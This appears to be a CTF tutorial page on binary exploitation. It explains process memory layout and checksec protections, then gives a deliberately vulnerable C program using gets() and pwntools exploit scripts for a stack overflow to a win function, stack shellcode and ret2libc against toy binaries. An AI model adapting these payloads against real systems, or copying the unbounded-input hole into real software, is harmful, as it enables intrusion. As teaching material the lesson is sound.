Binary Exploitation Basics

advanced1hWriteup

Introduction to pwn challenges

Learning Objectives

  • Understand buffer overflows
  • Use pwntools
  • Exploit simple vulnerabilities
  • Bypass basic protections

Pwn (Binary Exploitation) challenges require exploiting memory corruption vulnerabilities to gain control of a program. From buffer overflows to format strings, these challenges test your understanding of how programs use memory.

Pwn is the most technically challenging CTF category. It requires understanding of assembly, memory layout, and exploitation techniques. Start with simple stack overflows before moving to heap or ROP!

Memory Layout

1606070;"># Process memory layout (simplified):
2 
3High addresses
4┌─────────────────┐
5│ Stack │ ← Local variables, return addresses
6│ ↓ │ Grows DOWN
7├─────────────────┤
8│ │
9│ Free space │
10│ │
11├─────────────────┤
12│ ↑ │
13│ Heap │ ← Dynamic allocations (malloc)
14│ │ Grows UP
15├─────────────────┤
16│ .bss │ ← Uninitialized globals
17├─────────────────┤
18│ .data │ ← Initialized globals
19├─────────────────┤
20│ .text │ ← Program code
21└─────────────────┘
22Low addresses
23 
24606070;"># Stack frame:
25┌─────────────────┐
26│ Return Address │ ← We want to overwrite this!
27├─────────────────┤
28│ Saved RBP │ ← Previous frame pointer
29├─────────────────┤
30│ Local vars │ ← Our buffer is here
31│ buffer[] │
32└─────────────────┘

Checking Protections

bash
1606070;"># checksec shows binary protections
2checksec ./vuln
3 
4606070;"># Output example:
5606070;"># RELRO: Partial RELRO
6606070;"># Stack: No canary found
7606070;"># NX: NX enabled
8606070;"># PIE: No PIE
9 
10606070;"># Protection meanings:
11 
12606070;"># Stack Canary
13606070;"># Random value before return address
14606070;"># If overwritten, program crashes
15606070;"># Bypass: Leak canary, or don't overwrite it
16 
17606070;"># NX (No-Execute) / DEP
18606070;"># Stack memory not executable
19606070;"># Can't run shellcode on stack
20606070;"># Bypass: Return-to-libc, ROP
21 
22606070;"># PIE (Position Independent Executable)
23606070;"># Code loaded at random address
24606070;"># Can't hardcode addresses
25606070;"># Bypass: Leak address, calculate offset
26 
27606070;"># ASLR (system-wide)
28606070;"># Randomizes stack, heap, library addresses
29606070;"># Bypass: Leak addresses, brute force (32-bit)
30 
31606070;"># RELRO (Relocation Read-Only)
32606070;"># Full RELRO: GOT is read-only
33606070;"># Partial RELRO: GOT writable

Basic Buffer Overflow

c
1606070;">// Vulnerable program
2606070;">#include <stdio.h>
3 
4void win() {
5 system(606070;">#a5d6ff;">"/bin/sh"); // This gives us a shell!
6}
7 
8void vuln() {
9 char buffer[64];
10 gets(buffer); 606070;">// DANGEROUS! No bounds checking
11}
12 
13int main() {
14 vuln();
15 return 0;
16}
python
1606070;"># Exploit with pwntools
2from pwn import *
3 
4606070;"># Connect to binary
5606070;"># p = process("./vuln") # Local
6p = remote(606070;">#a5d6ff;">"challenge.ctf", 1337) # Remote
7 
8606070;"># Find offset to return address
9606070;"># Use cyclic pattern
10606070;"># cyclic 100 in pwntools/gdb
11 
12offset = 72 606070;"># Found with pattern
13 
14606070;"># Address of win() function
15606070;"># Find with: objdump -d vuln | grep win
16win_addr = 0x401186
17 
18606070;"># Build payload
19payload = b606070;">#a5d6ff;">"A" * offset
20payload += p64(win_addr)
21 
22606070;"># Send it
23p.sendline(payload)
24 
25606070;"># Get shell
26p.interactive()

Finding the Offset

bash
1606070;"># Method 1: pwntools cyclic
2from pwn import *
3 
4606070;"># Generate pattern
5pattern = cyclic(100)
6print(pattern)
7 
8606070;"># Run program, it crashes
9606070;"># Check what value is in RIP/EIP
10 
11606070;"># Find offset
12cyclic_find(0x6161616c) 606070;"># Value from crash
13 
14606070;"># Method 2: GDB with pattern
15gdb ./vuln
16(gdb) run <<< $(python -c 606070;">#a5d6ff;">"print 'A'*100")
17606070;"># Note: RSP/RIP value at crash
18 
19606070;"># Method 3: pwndbg
20pwndbg> cyclic 100
21pwndbg> run
22606070;"># Input the pattern
23pwndbg> cyclic -l $rsp
24606070;"># Shows offset

Shellcode (When NX Disabled)

python
1606070;"># If NX is disabled, we can execute shellcode on stack
2 
3from pwn import *
4 
5context.arch = 606070;">#a5d6ff;">'amd64'
6 
7606070;"># Generate shellcode
8shellcode = asm(shellcraft.sh())
9606070;"># Or use: shellcode = b"\x31\xc0\x50..."
10 
11606070;"># Need to know stack address (no ASLR)
12606070;"># Or leak it
13 
14stack_addr = 0x7fffffffde00 606070;"># Example
15 
16offset = 72
17 
18payload = shellcode
19payload += b606070;">#a5d6ff;">"A" * (offset - len(shellcode))
20payload += p64(stack_addr) 606070;"># Jump to our shellcode
21 
22p = process(606070;">#a5d6ff;">"./vuln")
23p.sendline(payload)
24p.interactive()
Modern systems have NX enabled by default, so shellcode-on-stack rarely works. You'll need ROP or ret2libc instead.

Return-to-libc

python
1606070;"># Call system("/bin/sh") without shellcode
2 
3from pwn import *
4 
5p = process(606070;">#a5d6ff;">"./vuln")
6 
7606070;"># Leak libc address (if ASLR)
8606070;"># Or use given libc
9 
10libc = ELF(606070;">#a5d6ff;">"/lib/x86_64-linux-gnu/libc.so.6")
11 
12606070;"># Find gadgets and addresses
13606070;"># In x64: First argument goes in RDI
14606070;"># Need: pop rdi; ret gadget
15 
16pop_rdi = 0x401233 606070;"># Find with ROPgadget
17bin_sh = next(libc.search(b606070;">#a5d6ff;">"/bin/sh"))
18system = libc.symbols[606070;">#a5d6ff;">'system']
19 
20606070;"># If we have libc base:
21libc_base = 0x7ffff7a00000 606070;"># Leaked somehow
22bin_sh = libc_base + bin_sh
23system = libc_base + system
24 
25offset = 72
26 
27payload = b606070;">#a5d6ff;">"A" * offset
28payload += p64(pop_rdi) 606070;"># Pop next value into RDI
29payload += p64(bin_sh) 606070;"># Address of "/bin/sh"
30payload += p64(system) 606070;"># Call system()
31 
32p.sendline(payload)
33p.interactive()

Pwntools Essentials

python
1from pwn import *
2 
3606070;"># Context setup
4context.arch = 606070;">#a5d6ff;">'amd64' # or 'i386'
5context.os = 606070;">#a5d6ff;">'linux'
6context.log_level = 606070;">#a5d6ff;">'debug' # See all traffic
7 
8606070;"># Connect
9p = process(606070;">#a5d6ff;">"./vuln") # Local
10p = remote(606070;">#a5d6ff;">"host.com", 1337) # Remote
11p = gdb.debug(606070;">#a5d6ff;">"./vuln") # With GDB
12 
13606070;"># Send/receive
14p.send(b606070;">#a5d6ff;">"data") # Send without newline
15p.sendline(b606070;">#a5d6ff;">"data") # Send with newline
16p.recv() 606070;"># Receive some data
17p.recvline() 606070;"># Receive until newline
18p.recvuntil(b606070;">#a5d6ff;">":") # Receive until string
19p.interactive() 606070;"># Manual interaction
20 
21606070;"># Packing (convert int to bytes)
22p64(0x401234) 606070;"># 64-bit little-endian
23p32(0x401234) 606070;"># 32-bit little-endian
24 
25606070;"># Unpacking (bytes to int)
26u64(b606070;">#a5d6ff;">"\x34\x12\x40\x00\x00\x00\x00\x00")
27 
28606070;"># Shellcode
29shellcraft.sh() 606070;"># /bin/sh shellcode
30asm(shellcraft.sh()) 606070;"># Assemble it
31 
32606070;"># ELF analysis
33elf = ELF(606070;">#a5d6ff;">"./vuln")
34elf.symbols[606070;">#a5d6ff;">'main'] # Address of main
35elf.got[606070;">#a5d6ff;">'puts'] # GOT entry
36elf.plt[606070;">#a5d6ff;">'puts'] # PLT entry
37 
38606070;"># Find gadgets
39rop = ROP(elf)
40rop.find_gadget([606070;">#a5d6ff;">'pop rdi', 'ret'])

Knowledge Check

Quick Quiz
Question 1 of 2

What does NX (No-Execute) protection prevent?

Key Takeaways

  • Always check protections with checksec before exploiting
  • Find offset with cyclic patterns, not trial and error
  • NX enabled = use ROP/ret2libc instead of shellcode
  • pwntools makes exploit development much easier
  • In x64, first argument is in RDI register
  • Start with simple challenges (no PIE, no canary, no ASLR)